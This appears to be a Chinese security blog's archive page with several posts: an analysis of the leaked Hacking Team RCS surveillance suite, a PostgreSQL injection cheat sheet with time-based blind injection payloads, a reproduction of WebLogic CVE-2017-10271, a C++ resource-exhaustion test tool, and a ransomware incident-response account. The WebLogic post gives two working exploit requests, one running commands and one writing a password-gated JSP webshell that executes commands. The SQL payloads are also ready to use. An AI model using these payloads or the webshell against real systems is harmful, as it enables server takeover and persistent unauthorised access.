分类 攻击类 下的文章

HACKING TEAM RCS 描述备份

来自于 Wooyun Drops 存档

前言

7月5日晚,一家意大利远程控制软件厂商HackingTeam的内部数据被泄露出来,其影响力不亚于斯洛登事件及维基解密事件,绿盟科技威胁响应中心随即启动应急响应工作。
6日,威胁响应中心启动应急分析工作,绿盟TAC产品拦截到Flash 0Day漏洞攻击;
6日夜,相关信息及初步建议,第一时间告知客户关注;
7日,在官网网站发布紧急通告,建议广大用户关注事件进展。分析工作进展进展中;
9日,发布Hacking Team远程控制系统简要分析报告;
这是一份快速报告,以便简要分析其中的核心内容,Hacking Team RCS(远程控制系统)。

泄露:Hacking Team

7月5日晚,一家意大利软件厂商被攻击,其掌握的400GB漏洞(包括0day)数据泄露出来,由此可能引发的动荡,引起了业界一片哗然。数据包中主要包含几个大的部分:

  • 远程控制软件源码,也是其核心,暂且称之为 Hacking Team RCS
  • 反查杀分析工具及相关讨论文档
  • 0Day、漏洞及相关入侵工具
  • 入侵项目相关信息,包括账户密码、数据及音像资料
  • 办公文档、邮件及图片
  • 其他

Hacking Team

Hacking Team在意大利米兰注册了一家软件公司,主要向各国政府及法律机构销售入侵及监视功能的软件。其远程控制系统可以监测互联网用户的通讯、解密用户的加密文件及电子邮件,记录Skype及其他VoIP通信,也可以远程激活用户的麦克风及摄像头。其总部在意大利,雇员40多人,并在安纳波利斯和新加坡拥有分支机构,其产品在几十个国家使用。

分析:远程控制系统

大家知道IT运维管理中常常用到远程控制软件,比如Dameware,但Hacking Team RCS相比市面上常见的远程控制软件而言,主要区别如下:

  • 系统化管理该软件从入侵到目标信息收集分析,有完整的体系架构,这个架构中有不同的功能模块,彼此之间相互配合,完成入侵、安装、信息搜集、监控、集中管理等功能。
  • 收集信息该软件在后台收集并上传目标用户的信息,包括各类数据、图片、影音等
  • 入侵工具配合该软件有各种漏洞、利用手段及自动化工具,以便在目标上强制安装Agent
  • 适应能力强桌面OS从Windows到MacOs X,手机OS基本覆盖了市场上流行的系统
  • 反追踪该软件本地及传播过程数据均加密,让追踪者难以找到攻击者
  • 反卸载反查杀该软件Agent不提供卸载方式,并采用各种手段躲避杀毒软件

Hacking Team RCS系统架构

RCS (Remote Control System)系统是一套用于政府拦截的黑客套件,实现了全平台的监控系统。
RCS主要组件
每一块组件具体的功能如下,

  • Front-End: 接收运行在被截取设备上的代理,作为Back-End的隔离屏障,保证RCS安装的安全性。系统要求是Windows 2003 or 2008。
  • Back-end: 是整个设施的核心,它存储所有从代理收集到的数据同时处理从管理控制台传来的请求。所有的RCS数据存储里面一个标准的关系型数据库,因此该服务还提供额外的功能,比如根据客户的要求实现自动备份和定制数据挖掘。系统要求是Windows 2003 or 2008。
  • Management console: RCS的控制台是用于访问和控制所有的远程控制系统(RCS)功能的应用程序。Operators可以授予系统不同等级的访问权限:Admin可以创建用户和组,授予权限,管理调查,审核系统;Technician是创建目标感染、配置/重新配置代理行为的载体;Viewer浏览来自target的信息,对其进行分类或者输出。系统要求是Windows, MacOS X or Linux。
  • Target: RCS Agent是监视目标计算机或智能手机上的软件组件。一旦安装成功,Agent将会通过设备的网络将收集到的数据传送到Front-End,这些数据有很多种类,比如屏幕截图、电话呼叫等。
    RCS Agent有两种安装方式:本地以及远程。

本地安装主要是通过桌面系统的CD和USB存储设备来引导,或者是智能手机的usb。远程安装则通过Melting tool、Exploit portal、Network Injector以及Remote Mobile Installation。而且每个RCS Agent都可以通过远程命令卸载。
RCS Agents的系统要求:

Windows XP, Vista, 7 (32/64 bit)
MacOs X 10.6 Snow Leopard, 10.7 Lion
Windows Mobile 6, 6.5
iOS 3, 4 (iPhone/iPad)
Symbian S60 3rd and 5th edition
BlackBerry 4.5 or newer

Anonymizers 目的是隐藏Front End真实IP地址,由于Anonymizers之间的连接数据被完全加密而且没有解密数据,所以可以被放置在任何非信任的网络和国家。

Collection Node 信息搜集功能是通过Collection Node来完成的客户端上传信息的搜集,并且允许客户端从服务器上下载新的配置和插件,这个节点是通过提供ASP服务完成交互的。这个节点是整个控制系统唯一能从外部进行访问的节点,因此对它的保护也非常关键,比如使用防火墙等措施进行一定的隔离,也需要使用到Anonymizer 链来对ASP真实的IP地址进行隐藏。

RSSM(Mobile Collection Node)作为Collection Node的一个补充,通过蓝牙等手段完成Collection Node的功能,并且该节点也会和Collection Node完成同步的过程。

Log Repository Log Repository(RCSDB)是RCS系统的存储部件,存储信息包括:

  • 访问过的网站
  • 文件操作
  • 键盘记录
  • 文档和图片信息
  • VoIP电话监控(例如skype)
  • 程序执行信息
  • 音频监视
  • Web摄像头监视
  • 截屏
  • 即时通信(Skype、WindowsLiveMessenge、Wechat等)
  • 剪贴板的信息
  • 密码信息(email账户、WindowsLive账户等)
  • 发送和接收邮件
  • 电话录音
  • GPS位置
  • 联系人信息

从上面的分析可以看出来,这一次泄露的Hacking Team的各种程序中,比较完整的涵盖了实施攻击各个阶段需要用到的一些控制和利用工具,针对其中的一些较为经典的代码,我们经过研究,给出这些工具包的功能,对使用范围做了大致的描述。在这一套RCS里,针对电话、pc、网络均进行了控制和信息搜集。

Hacking Team RCS基本功能

电话监控

针对电话监控,开发了针对不同平台的agent程序,下面是一份列表

  • core-winphone: 针对 Windows Phone 移动平台的远程控制木马客户端,用于实时收集目标系统状态信息,GPS,通讯录,通话短信记录,日历日程安排等隐私信息,还可以执行录音,截取手机屏幕等定时任务,具有远程打开手机摄像头,开启话筒等功能。
  • core-winmobile: 针对已经过时的 Windows Mobile 移动平台的远程控制木马客户端。也是用于收集目标隐私信息,且具有远程控制收集录音,截屏等功能。
  • core-symbian: 针对 Symbian 移动平台的远控木马代理,用于收集GPS位置,通讯记录,短消息等敏感记录,并可远程实时监听话筒等功能。
  • core-android-audiocapture: 安卓平台下的语音监听工具,通过注入AudioFlinger相关进程达到记录麦克和听筒音频的功能。整个工具包含注入工具hijack、被注入的库libt.so,注入后会记录音频信息到dump文件,黑客通过decoder.py脚本可以将dump文件还原成wav文件。可以在安卓3.x到4.x下运行。
  • core-android: 一个安卓下的RCS应用,应该是功能比较完善的工具,可以收集社交软件的信息,应用中还打包了许多利用工具
  • core-blackberry: 是黑莓下的RCS软件。

桌面系统监控

  • core-macos: 其中包含一个用于Max OS X 平台可执行文件 macho 文件的加壳加密混淆程序。同时还包含针对 Mac OS X 平台的远程控制木马客户端程序,用于收集目标系统网络连接,文件系统等信息,还可以窃取iMessage,Skype,剪贴板等应用的敏感信息,同时还可以键盘记录,截屏,打开摄像头等。
  • core-win32: windows平台木马,主要功能包括:1.窃取主流浏览器如Chrome、FireFox和IE 的Cookies等信息2.对用户GMail、Outlook、Facebook、Twitter、MSN、Skype、ICQ、Yahoo、Google Talk、Mozilla Thunderbird等使用进行监控,收集相关信息收集如:帐号信息、相关联系人信息等。监控的MSN版本从6.0到2011,Yahoo Messager版本从7.x到10.x,ICQ Messenger v7.x 3.对麦克风和摄像头进行监控
  • core-win64: 和core-win32对应,同样是windows平台木马,但项目只是包含了64位系统特有的api hook框架.
  • soldier-win: windows平台木马,功能包括:获取目标计算机基本信息窃取浏览器chrome、firefox、IE密码和cookies窃取facebook、gmail、twitter、Yahoo相关信息屏幕监控、摄像头监控等
  • scout-win: windows平台木马,功能相对简单:screenshot、获取目标计算机的基本信息如:CPU,内存,用户名等信息。具有少量简单的反检测机制,如AntiVM、动态获取API地址、黑名单等。子项目VMProtectDumper是针对某一版本VMProtect的脱壳机

辅助入侵功能

为了在target上安装受控端软件并获取主机控制权,还有提供了一些必要的功能

  • driver-macos: 包含一个 Mac OS X 平台的内核级 Rootkit ,具有用户进程隐藏,文件系统隐藏等功能,还可以 hook 系统调用, mach_trap_table ,并实时追踪用户空间后门的运行状态。
  • core-packer: 用于Windows 平台 PE 可执行文件的加壳,加密混淆程序。
  • core-android-market: 应该是安卓下的类似推送新闻的应用,包括一个名为org.benews.BeNews的安卓端的apk应用和本地运行的server,通讯数据为bson格式。apk应用具有自启动功能,会启动推送服务
  • core-android-native: 卓相关利用工具的集合,包含了所有安卓4.1版本以前的利用工具,包括了put_user_exploit、towelroot中的利用工具、selinux的利用工具等
  • vector-ipa: ipa是 Injection Proxy Appliance 的缩写, Injection Proxy Appliance是RCS系统一部分。

RCS Injection Proxy Appliance (RCS IPA)是用于攻击的安全设备,使用中间人攻击技术和streamline injection机制,它可以在不同的网络情况下透明地进行操作,无论是在局域网还是内部交换机上。
IPA 可从监控的网络流量中检测HTTP连接,进行中间人攻击,主要有三种攻击方式: 注入EXE, 注入html和替换攻击。当监控的HTTP连接命中预先设置的规则时,IPA 将执行注入攻击。IPA 可以设置需要注入的用户(如IP地址),资源(如可执行文件)等规则。

  • driver-win32: core-win32对应的内核驱动模块,提供功能诸如:权限提升、操作敏感注册表、恢复SSDT等。
  • driver-win64: 相对32位版本的驱动,只是注释掉了很多功能代码。
  • vector-silent: 木马辅助程序:Dropper和depacker
  • vector-applet: 应该是用于挂马的Java Applet。使用的有可能是未知漏洞,漏洞在twostage和weaponized文件夹下的readme中油描述,”通过XMLDecoder获取一个Bridge实例的引用,从而导致一个类混淆”。
  • vector-edk: Intel UEFI(统一可扩展固件接口)BIOS后门植入工具
  • vector-offline2: 离线安装RCS工具包,可在物理接触时植入RCS后门。 可将离线安装工具刻录在CD-DVD/USB等可引导介质上,当可物理访问到计算机系统时,可利用该介质启动系统,将后门直接植入计算机中的操作系统中。目前支持对Linux/OS X/Windows系统的离线安装。提供了友好的图形界面,可自动识别计算机上存在的不同操作系统,并可识别每个操作系统上存在的用户,然后可针对不同用户分别植入不同类型的后门。
  • vector-offline: Windows版的离线安装工具源码。
  • vector-recover: 一个Windows版的下载器。下载器本身会修改图标和版本信息,将自己伪装成东芝的蓝牙助手具: btassist.exe。下载器本身会循环访问两个地址的固定URL: GET /gh/3735928545/deadbee2判断下载数据的前32字节是否是”3j9WmmDgBqyU270FTid3719g64bP4s52″,如果是的话会从第33字节开始保存后续数据到临时目录下的msupd64.exe文件中,然后执行该文件。
  • vector-rmi: 一个发送WAP PUSH信息的命令行工具,可以将链接以短信形式发送到支持WAP PUSH功能的手机上。可自定义各种参数。

Hacking Team RCS入侵手段

Hacking Team RCS软件入侵目标,主要通过如下三种方式:

感染移动介质

与很多木马、病毒及流氓软件的传播方式一样,该软件首先还是采取这种低成本的方式进行,感染一些能够接触目标的移动媒体,比如CD-ROM、USB等,即便是OS 或者BIOS设置了密码也一样可以感染,从而获取一些环境数据,比如电脑是否可以上网等,为后续的动作提供参考依据。

代理攻击

采用软件或硬件的系统,能够在网络会话过程中修改和注入数据,在某些情况下,可以注入到系统并难以被检测到。同时,也能够感染Windows平台上的可执行文件,如果目标电脑从网站上下载并执行这些可执行文件时,Agent将在后台自动安装,用户不会知晓。

APT

如上两种方式都无法奏效的时候,就会采用多种形式组合入侵,采用相关的漏洞、入侵工具及更多利用手段,详细的分析及防护方案,在后续的报告中呈现。

Hacking Team RCS信息上传

用于搜集客户端搜集信息的上传通道,是一个强加密和需要认证的通信过程,同时整个上传通道的设计是基于复杂网络环境的,考虑到防火墙、带有域认证功能的代理等等,会通过模仿一个正常用户浏览web的过程来进行这一些操作。
信息搜集功能是通过Collection Node来完成的客户端上传信息的搜集,并且允许客户端从服务器上下载新的配置和插件,这个节点是通过提供ASP服务完成交互的。这个节点是整个控制系统唯一能从外部进行访问的节点,因此对它的保护也非常关键,比如使用防火墙等措施进行一定的隔离,也需要使用到Anonymizer 链来对ASP真实的IP地址进行隐藏。
RSSM(Mobile Collection Node)作为Collection Node的一个补充,通过蓝牙等手段完成Collection Node的功能,并且该节点也会和Collection Node完成同步的过程。

PostgreSQL 手工注入包构造

可用函数

octet_length(string)    int     字串中的字节数     octet_length('jose')    4
bit_length(string)  int     字串里二进制位的个数  bit_length('jose')  32
char_length(string)     int     字串中的字符个数    char_length('jose')     4
length(string text)     int     string中字符的数目    length('jose')  4
---------------------------------------------------
string || string    text    字串连接    'Post' || 'greSQL'  PostgreSQL
concat(串1,串2…)      合并字符串    concat('a','b')  "ab"
reverse(串)      把字符串转置   reverse("1234")  "4321"
btrim(string text [, characters text])  text  字符串剔除   btrim('xyxtrimyyx','xy')    trim
left/ right(串,整数)       取字符串的左边/右边整数位   left('abcdef',3) abc
substr(string, from [, count])  text    提取字符串。  substr('alphabet', 3, 2)    ph
to_ascii(text [, encoding])     text    把text从其它编码转换为ASCII。     to_ascii('Karel')   Karel
to_hex(number int/bigint)   text    把number转换成其对应地十六进制表现形式。  to_hex(9223372036854775807)
---------------------------------------------------
ascii(text)     int     参数第一个字符的ASCII码  ascii('x')  120
chr(int)    text    给出ASCII码的字符     chr(65)     A
md5(string text)    text    计算给出string的MD5散列,以十六进制返回结果。     md5('abc')  
---------------------------------------------------
current_database()  name    当前数据库的名字         
current_schema()    name    当前模式的名字          
current_schemas(boolean)    name[]  在搜索路径中的模式名字          
current_user    name    目前执行环境下的用户名          
inet_client_addr()  inet    连接的远端地址          
inet_client_port()  int     连接的远端端口          
inet_server_addr()  inet    连接的本地地址          
inet_server_port()  int     连接的本地端口          
session_user    name    会话用户名        
pg_postmaster_start_time()  timestamp   postmaster启动的时间          
user    name    等同于 current_user
version()   text    PostgreSQL版本信息       
has_table_privilege(user,table,privilege)   允许用户在程序里查询对象访问权限的函数     用户是否有访问表的权限     SELECT/INSERT/UPDATE/DELETE/RULE/REFERENCES/TRIGGER      
has_table_privilege(table,privilege)    当前用户是否有访问表的权限   SELECT/INSERT/UPDATE/DELETE/RULE/REFERENCES/TRIGGER      
has_database_privilege(user,database,privilege)     用户是否有访问数据库的权限   CREATE/TEMPORARY     
has_database_privilege(database,privilege)  当前用户是否有访问数据库的权限     CREATE/TEMPORARY     
has_function_privilege(user,function,privilege)     用户是否有访问函数的权限    EXECUTE      
has_function_privilege(function,privilege)  当前用户是否有访问函数的权限  EXECUTE      
has_language_privilege(user,language,privilege)     用户是否有访问语言的权限    USAGE    
has_language_privilege(language,privilege)  当前用户是否有访问语言的权限  USAGE    
has_schema_privilege(user,schema,privilege)     用户是否有访问模式的权限    CREAT/USAGE      
has_schema_privilege(schema,privilege)  当前用户是否有访问模式的权限  CREAT/USAGE      
has_tablespace_privilege(user,tablespace,privilege)     用户是否有访问表空间的权限   CREATE   
has_tablespace_privilege(tablespace,privilege)  当前用户是否有访问表空间的权限     CREATE   
pg_table_is_visible(table_oid)  模式可视性查询函数   该表/视图是否在搜索路径中可见     regclass     
pg_type_is_visible(type_oid)    该类/视图型是否在搜索路径中可见    regtype      
pg_function_is_visible(function_oid)    该函数是否在搜索路径中可见   regprocedure     
pg_operator_is_visible(operator_oid)    该操作符是否在搜索路径中可见  regoperator      
pg_opclass_is_visible(opclass_oid)  该操作符表是否在搜索路径中可见     regclass     
pg_conversion_is_visible(conversion_oid)    转换是否在搜索路径中可见    regoperator      
format_type(type_oid,typemod)   text    获取一个数据类型的SQL名称  系统表信息函数      
pg_get_viewdef(view_oid)    text    为视图获取CREATE VIEW命令   
pg_get_viewdef(view_oid,pretty_bool)    text    为视图获取CREATE VIEW命令   
pg_get_ruledef(rule_oid)    text    为规则获取CREATE RULE命令   
pg_get_ruledef(rule_oid,pretty_bool)    text    为规则获取CREATE RULE命令   
pg_get_indexdef(index_oid)  text    为索引获取CREATE INDEX命令      
pg_get_indexdef(index_oid,column_no,pretty_bool)    text    为索引获取CREATE INDEX命令,如果column_no不为零,则是只获取一个索引字段的定义    
pg_get_triggerdef(trigger_oid)  text    为触发器获取CREATE [CONSTRAINT] TRIGGER    
pg_get_constraintdef(constraint_oid)    text    获取一个约束的定义    
pg_get_constraintdef(constraint_oid,pretty_bool)    text    获取一个约束的定义    
pg_get_expr(expr_text,relation_oid)     text    反编译一个表达式的内部形式,假设其中的任何Vars都引用第二个参数指出的关系   
pg_get_expr(expr_text,relation_oid, pretty_bool)    text    反编译一个表达式的内部形式,假设其中的任何Vars都引用第二个参数指出的关系   
pg_get_userbyid(roleid)     name    获取给出的ID的角色名      
pg_get_serial_sequence(table_name,column_name)  text    获取一个serial或者bigserial字段使用的序列名字   
pg_tablespace_databases(tablespace_oid)     setof oid   获取在指定表空间(OID表示)中拥有对象的一套数据库的OID的集合    
---------------------------------------------------
current_setting(setting_name)   text    当前设置的值  查询以及修改运行时配置参数的函数
set_config(setting_name,new_value,is_local)     text    设置参数并返回新值
pg_tablespace_size(oid)     bigint  指定OID代表的表空间使用的磁盘空间  数据库对象尺寸函数
pg_tablespace_size(name)    bigint  指定名字的表空间使用的磁盘空间
pg_database_size(oid)   bigint  指定OID代表的数据库使用的磁盘空间
pg_database_size(name)  bigint  指定名称的数据库使用的磁盘空间
pg_relation_size(oid)   bigint  指定OID代表的表或者索引所使用的磁盘空间
pg_relation_size(text)  bigint  指定名称的表或者索引使用的磁盘空间。这个名字可以用模式名修饰
pg_total_relation_size(oid)     bigint  指定OID代表的表使用的磁盘空间,包括索引和压缩数据
pg_total_relation_size(text)    bigint  指定名字的表所使用的全部磁盘空间,包括索引和压缩数据。表名字可以用模式名修饰。
pg_size_pretty(bigint)  text    把字节计算的尺寸转换成一个人类易读的尺寸单位
pg_relation_filenode(relationregclass)  oid     获取指定对象的文件节点编号(通常为对象的oid值)。  数据库对象位置函数
pg_relation_filepath(relationregclass)  text    获取指定对象的完整路径名。

基于时间的盲注包构造

// 判断版本号长度
';select pg_sleep(3) where 1=1 and char_length(version()) > 1;--
';select pg_sleep(3) where 1=1 and length(version()) = 103;--
// 逐一爆破版本号
';select pg_sleep(3) where 1=1 and left(version(),1) = chr(80);--
';select pg_sleep(2) where 1=1 and substr(current_database(),1,1) = chr(80);--
// 判断数据库数量
';select pg_sleep(3) where 1=1 and (select count(*) from pg_database) = 6;--
// 判断第一个数据库的名字长度
';select pg_sleep(3) where 1=1 and (select length(datname) from pg_database limit 1 offset 0) = 8;--
// 逐一爆破数据库的名字

WebLogic CVE-2017-10271 复现暨 POC

WebLogic 安装包下载地址
下载界面
选择漏洞版本下载. 安装一路 next, 选一下安装路径, 其他全默认.
安装完成后在开始菜单栏里有个'Oracle WebLogic'的文件夹.
开始菜单截图
选择 QuickStart 创建服务器实例.
还是一路 next,  除了需要输入密码的地方, 其他一路默认.
最后点击 create 完成后会自动打开 cmd , 运行创建的实例.
启动界面

访问 http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
漏洞界面
环境搭建运行成功,  把这个地址贴到 BurpSuite 去,  POST POC.
POC 1, 命令执行:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>C:\\windows\\system32\\cmd.exe</string>
              </void>
              <void index="1">
                <string>/c</string>
              </void>
              <void index="2">
                <string>start calc.exe</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

执行效果
POC2,  GETSHELL

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                    <string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){
                        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
                        int a = -1;
                        byte[] b = new byte[2048];
                        out.print("<pre>");
                        while((a=in.read(b))!=-1){out.println(new String(b));}
                        out.print("</pre>");} %>]]></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

GetShell 有三个目录: bea_wls9_async_response/bea_wls_internal/uddiexplorer , 可根据需要自选
命令执行SHELL

Win系列主机/服务器性能测试工具

自己用 C++ 写的一个小玩意, 主要用给客户展示一下当服务器被恶意软件攻击后系统资源被大量占用的场景.
文件下载在最后, 源代码如下:

#include "iostream"
#include <stdio.h>
#include <process.h>
#include <math.h>
#include <string>
#include <typeinfo.h>
#include <stdlib.h>
#include <conio.h>
#include <sys/types.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <csignal>
#include <time.h>  
#pragma comment(lib,"ws2_32.lib")

using namespace std;

void EVILACTION() {}
void NETLISTEN ( char * SERVERIP, int SERVERPORT ) {
    //创建套接字
    WORD myVersionRequest;
    WSADATA wsaData;
    myVersionRequest = MAKEWORD ( 1, 1 );
    int err;
    err = WSAStartup ( myVersionRequest, &wsaData );
    if (!err) {
        //printf ( "已打开端口%d\n",SERVERPORT);
    } else {
        printf ( "ERROR:嵌套字未打开!" );
    }
    SOCKET serSocket = socket ( AF_INET, SOCK_STREAM, 0 );//创建套接字
    SOCKADDR_IN addr;
    addr.sin_family = AF_INET;
    addr.sin_addr.S_un.S_addr = inet_addr(SERVERIP);
    //inet_pton ( AF_INET, SERVERIP, (void*)&addr.sin_addr.S_un.S_addr );
    addr.sin_port = htons ( SERVERPORT );
    ::bind ( serSocket, (SOCKADDR*)&addr, sizeof ( SOCKADDR ) );
    listen ( serSocket, 5 );
    SOCKADDR_IN clientsocket;
    int len = sizeof ( SOCKADDR );
    SOCKET serConn = accept ( serSocket, (SOCKADDR*)&clientsocket, &len );
}
void CPUINIT (int tmp, int max) {  // CPU 测试
    srand ( (unsigned)time ( NULL ) );
    for (int z = 1; z <= max; z++) {
        int a = rand();
        sqrt ( a / max );
        if(z > max) {
            z = 1;
            Sleep ( 1 );
        }
    }
}
void MEMINIT (int tmp, int max) {  // 内存测试
    long* pl;
    pl = (long*)malloc ( max * sizeof ( long ) );
    for (int i = max; i > 1; i--) {
        long a = 9999999999;
        pl[i] = a;
    }
    while (1) {
        Sleep ( 1 );
    }
}
void NETINIT (string ip, int d,int flag) {  // 端口占用测试
    char szModuleFilePath[MAX_PATH];
    GetModuleFileNameA ( 0, szModuleFilePath, MAX_PATH );  // 获得当前执行文件的路径
    //szModuleFilePath[strrchr ( szModuleFilePath, '\\' ) - szModuleFilePath + 1] = 0;  // 取目录名
    int a = 65535;
    for (int i = d; i > 0; i--) {
        char tmp[5];
        _itoa ( a, tmp, 10 );
        string tmp1 = string ( szModuleFilePath ) + " -p " + string ( tmp );
        WinExec ( tmp1.c_str (), SW_HIDE );
        Sleep ( 200 );
        a--;
    }
}
void KILLRUNNING ( int sig ) {
    if (sig == SIGINT) {
        char szModuleFilePath[MAX_PATH];
        GetModuleFileNameA ( 0, szModuleFilePath, MAX_PATH );
        char name[_MAX_FNAME];
        char suffix[_MAX_EXT];
        string file = "@taskkill /f /im ";
        _splitpath ( szModuleFilePath, NULL, NULL, name, suffix );
        file = file + string ( name ) + string ( suffix );
        //system (file.c_str());
    }
}
void init(int a,int b,string c,int d,int flag){
    char szModuleFilePath[MAX_PATH];
    GetModuleFileNameA ( 0, szModuleFilePath, MAX_PATH );  // 获得当前执行文件的路径
    int i = 0;
    for (i = a; i >= 1; i--) {  // CPU 线程
        char tt[10];
        itoa(i,tt,10);
        string tmp1 = string ( szModuleFilePath ) + " -c " + string(tt);
        WinExec ( tmp1.c_str (), SW_HIDE );
    }
    for (i = b; i >= 1; i--) {  // 内存 线程
        char tt[10];
        itoa(i,tt,10);
        string tmp1 = string ( szModuleFilePath ) + " -m " + string(tt);
        WinExec ( tmp1.c_str (), SW_HIDE );
    }
    NETINIT ( c, d,flag);
    EVILACTION();
}
void usage () {
    printf ( "Usage: tester.exe\r\n" );
    printf ( "options:\r\n" );
    printf ( "  -n (int)range  \tnetwork listen range, for <65535~(65535-range)>\r\n" );
    printf ( "  -c (int)process \tcpu process count\r\n" );
    printf ( "  -m (int)process \tmemory process count\r\n" );
    printf ( "  -d (int)second \tdealy seconds\r\n" );
    printf ( "Example:\r\n" );
    printf ( "  tester.exe -n 5 -c 1 -m 5 -d 3\r\n" );
    printf ( "that will be listen local:65535~65530" );
}
int main ( int argc, char * argv[] ) {
    /**
     * args1 CPU 线程数量
     * args2 内存线程数量
     * args3 网络对象 IP 地址
     * args4 网络线程数量
    */
    signal ( SIGINT, KILLRUNNING );
    int a = 1, b = 1, d = 1;
    string c = "127.0.0.1";
    int timeout = 0;
    int port = 0;
    if (argc == 3) {
        if (string ( argv[1] ) == "-p") {
            port = atoi ( argv[2] );
            NETLISTEN ( "127.0.0.1", port );  // 开监听端口
            exit ( 1 );
        }
        if (string ( argv[1] ) == "-c") {
            port = atoi ( argv[2] );
            CPUINIT ( 1, port*99 );  // 开CPU进程
            exit ( 1 );
        }
        if (string ( argv[1] ) == "-m") {
            port = atoi ( argv[2] );
            MEMINIT ( 1, port*1000000 );  // 开内存进程
            exit ( 1 );
        }
        usage ();
        exit( 1 );
    } else if (argc != 9) {
        usage ();
        exit ( 1 );
    } else {
        for (int i = 1; i < argc; i += 2) {
            if (string ( argv[i] ) == "-n") {
                d = atoi ( argv[i + 1] );  // network
            }
            if (string ( argv[i] ) == "-c") {
                a = atoi ( argv[i + 1] );  // cpu
            }
            if (string ( argv[i] ) == "-m") {
                b = atoi ( argv[i + 1] );  // memory
            }
            if (string ( argv[i] ) == "-d") {
                timeout = atoi ( argv[i + 1] );  // dealy
            }
        }
    }
    cout << "CPU 占用线程: " << a << endl;
    cout << "内存占用线程: " << b << endl;
    cout << "端口范围: 65535 ~ " << 65536 - d << endl;
    cout << "延时 :" << timeout << "秒" << endl;
    Sleep ( timeout * 1000 );
    cout << "######### START ############" << endl;
    init ( a, b, c, d, 0 );
    //init ( a, b, c, 1);
    return 0;
}

ConsoleForWindows.zip

文件: E:\delovt\tools\ConsoleForWindows.zip
大小: 117479 字节
修改时间: 2017?11?30?, 10:09:37
MD5: D6D578D8C9BF595B7E30E4760F3ECB08
SHA1: 356FEC7A1EB291B4EEE311CEF4F9B1FA54A6304B
CRC32: 3068F610
文件: E:\delovt\tools\ConsoleForWindows.exe
大小: 223744 字节
修改时间: 2017年11月29日, 11:28:03
MD5: 8D99523ABB15BEB1AE6A9B7542B7CC02
SHA1: FD4E29029A1DE56C074C59DF89FC1E4FF15CCAFE
CRC32: D109932F

使用方法: tester.exe -h

[5.12]蠕虫事件应急响应

2017 年 5 月 12 日晚. 项目群有人发了一张图, 某大学被勒索病毒攻击.
十分钟后截了一张公告, 病毒使用 "MS17-010" 进行传播, 看到这马上想起 4 月底 FB 上的一篇帖子.
NSA 漏洞库, MS17-010, 通杀全版本. 马上安排相关人员对涉外及与教育网内部连接的服务器进行加固.
于第二日 5 月 13 日, 九点, 上课途中, 领导连来五个电话安排对机房的相关服务器进行排查.
同时在机房内发现机子出现被攻击成功, 即刻联系组员进中心机房, 对相关机房进行断网处理.
临时对涉毒大楼进行物理阻隔(拔网线). 同时对服务器数据进行备份.
因为实验大楼使用的是云端教学, 被攻击的客户端为云端镜像, 不算什么大事. 对客户端进行升级即可.
于 十一点左右 联系相关负责人, 通过核心交换, 配置 ACL, 阻隔相应端口, 封闭对应 Vlan / IP 段. 阻止进一步传播.
同时对网段内电脑进行排查. 发现实验大楼内有另一教室也出现勒索病毒. 教师端也不能幸免.
考虑云端的特殊性. 便把教室与云端服务器进行物理断网. 关闭所有在用客户端. 从源下手. 对镜像进行升级加固.
于下午五点半, 升级完毕. 晚八点恢复网络进行机房测试, 至晚 十点半 无发现病毒复现状况. 自此事件响应完毕.

总结:

主要是漏洞威力过于巨大, 只要对 SMB 服务进行阻隔即可.